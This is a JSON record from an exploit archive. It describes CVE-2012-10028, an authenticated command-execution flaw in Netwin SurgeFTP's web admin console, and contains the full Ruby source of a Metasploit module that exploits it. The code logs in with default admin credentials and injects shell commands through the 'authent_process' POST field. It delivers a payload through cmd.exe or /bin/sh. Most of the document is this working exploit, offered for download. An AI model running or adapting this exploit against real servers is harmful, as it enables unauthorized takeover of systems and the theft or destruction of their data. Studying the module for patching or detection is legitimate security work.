{"exploit":{"id":"EDB-23601","name":"NetWin SurgeFTP - Remote Command Execution (Metasploit)","description":"NetWin SurgeFTP - Remote Command Execution (Metasploit)","cves":["CVE-2012-10028"],"author":"Metasploit","published":"2012-12-23","platform":"multiple","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23601","path":"exploits/multiple/remote/23601.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23601.rb","vulnerabilities":[{"id":"CVE-2012-10028","state":"PUBLISHED","title":"Netwin SurgeFTP <= v23c8 Authenticated RCE","titleSource":"CVE Program","description":"Netwin SurgeFTP version 23c8 and prior contains a vulnerability in its web-based administrative console that allows authenticated users to execute arbitrary system commands via crafted POST requests to `surgeftpmgr.cgi`. This can lead to full remote code execution on the underlying system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-10028","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2012-10028"},"updatedAt":"2026-05-15T11:13:55.331Z","retrievedAt":"2026-11-26T14:11:21.534Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23601.png?v=2","url":"https://exploitbin.com/exploits/EDB-23601","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23601/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23601/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\tinclude Msf::Exploit::CmdStagerVBS\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Netwin SurgeFTP Remote Command Execution',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a vulnerability found in Netwin SurgeFTP, version 23c8\n\t\t\t\tor prior.  In order to execute commands via the FTP service, please note that\n\t\t\t\tyou must have a valid credential to the web-based administrative console.\n\t\t\t},\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Spencer McIntyre',  #Who found this vuln?\n\t\t\t\t\t'sinn3r'\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['EDB', '23522']\n\t\t\t\t],\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'}  ],\n\t\t\t\t\t[ 'Unix',    { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => \"\\x22\"}} ]\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Dec 06 2012'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(7021),\n\t\t\t\tOptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),\n\t\t\t\tOptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ])\n\t\t\t], self.class)\n\tend\n\n\tdef check\n\t\tres = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})\n\t\tif res and res.body =~ /surgeftp\\x20\\x0d\\x0a\\x20\\x20Manager CGI/\n\t\t\treturn Exploit::CheckCode::Detected\n\t\telse\n\t\t\treturn Exploit::CheckCode::Safe\n\t\tend\n\tend\n\n\tdef execute_command(cmd, opts)\n\t\thttp_send_command(\"cmd.exe /q /c #{cmd}\")\n\tend\n\n\tdef http_send_command(command)\n\t\tres = send_request_cgi(\n\t\t{\n\t\t\t'uri'     => '/cgi/surgeftpmgr.cgi',\n\t\t\t'method'  => 'POST',\n\t\t\t'basic_auth' => datastore['USERNAME'] + \":\" + datastore['PASSWORD'],\n\t\t\t'vars_post' =>\n\t\t\t\t{\n\t\t\t\t\t'global_smtp' => \"\",\n\t\t\t\t\t'global_restart' => \"\",\n\t\t\t\t\t'global_style' => \"\",\n\t\t\t\t\t'global_bind' => \"\",\n\t\t\t\t\t'global_passive_ip' => \"\",\n\t\t\t\t\t'global_passive_match' => \"\",\n\t\t\t\t\t'global_logon_mode' => \"\",\n\t\t\t\t\t'global_log_host' => \"\",\n\t\t\t\t\t'global_login_error' => \"\",\n\t\t\t\t\t'global_adminip' => \"\",\n\t\t\t\t\t'global_total_users' => \"\",\n\t\t\t\t\t'global_con_perip' => \"\",\n\t\t\t\t\t'global_ssl' => \"\",\n\t\t\t\t\t'global_ssl_cipher_list' => \"\",\n\t\t\t\t\t'global_implicit_port' => \"\",\n\t\t\t\t\t'log_level' => \"\",\n\t\t\t\t\t'log_home' => \"\",\n\t\t\t\t\t'global_watcher_program_ul' => \"\",\n\t\t\t\t\t'global_watcher_program_dl' => \"\",\n\t\t\t\t\t'authent_process' => command,\n\t\t\t\t\t'authent_cmdopts' => \"\",\n\t\t\t\t\t'authent_number' => \"\",\n\t\t\t\t\t'authent_domain' => \"\",\n\t\t\t\t\t'global_strip_user_domain' => \"\",\n\t\t\t\t\t'global_noclass' => \"\",\n\t\t\t\t\t'global_anon_hammer_over_time' => \"\",\n\t\t\t\t\t'global_anon_hammer_max' => \"\",\n\t\t\t\t\t'global_anon_hammer_block_time' => \"\",\n\t\t\t\t\t'global_port' => \"\",\n\t\t\t\t\t'global_mgr_port' => \"\",\n\t\t\t\t\t'global_mgr_ssl_port' => \"\",\n\t\t\t\t\t'cmd_global_save.x' => \"36\",\n\t\t\t\t\t'cmd_global_save.y' => \"8\",\n\t\t\t\t}\n\t\t})\n\n\t\tif res and res.body =~ /401 Authorization failed/\n\t\t\tfail_with(Exploit::Failure::NoAccess, \"Unable to log in!\")\n\t\telsif not (res and res.code == 200)\n\t\t\tfail_with(Exploit::Failure::Unknown, 'Failed to execute command.')\n\t\tend\n\tend\n\n\tdef exploit\n\t\tcase target['Platform']\n\t\twhen 'win'\n\t\t\tprint_status(\"#{rhost}:#{rport} - Sending VBS stager...\")\n\t\t\texecute_cmdstager({:linemax=>500})\n\n\t\twhen 'unix'\n\t\t\tprint_status(\"#{rhost}:#{rport} - Sending payload...\")\n\t\t\thttp_send_command(%Q|/bin/sh -c \"#{payload.encoded}\"|)\n\t\tend\n\n\t\thandler\n\tend\nend","sha256":"d2cfc6fc7d86461f770fda0e4daee3857ea9a4952d95f4921e2a9e92c4b23c57","bytes":3650,"fetchedAt":"2026-11-26T14:11:21.425Z","encoding":"utf-8 (display only; download retains original bytes)"}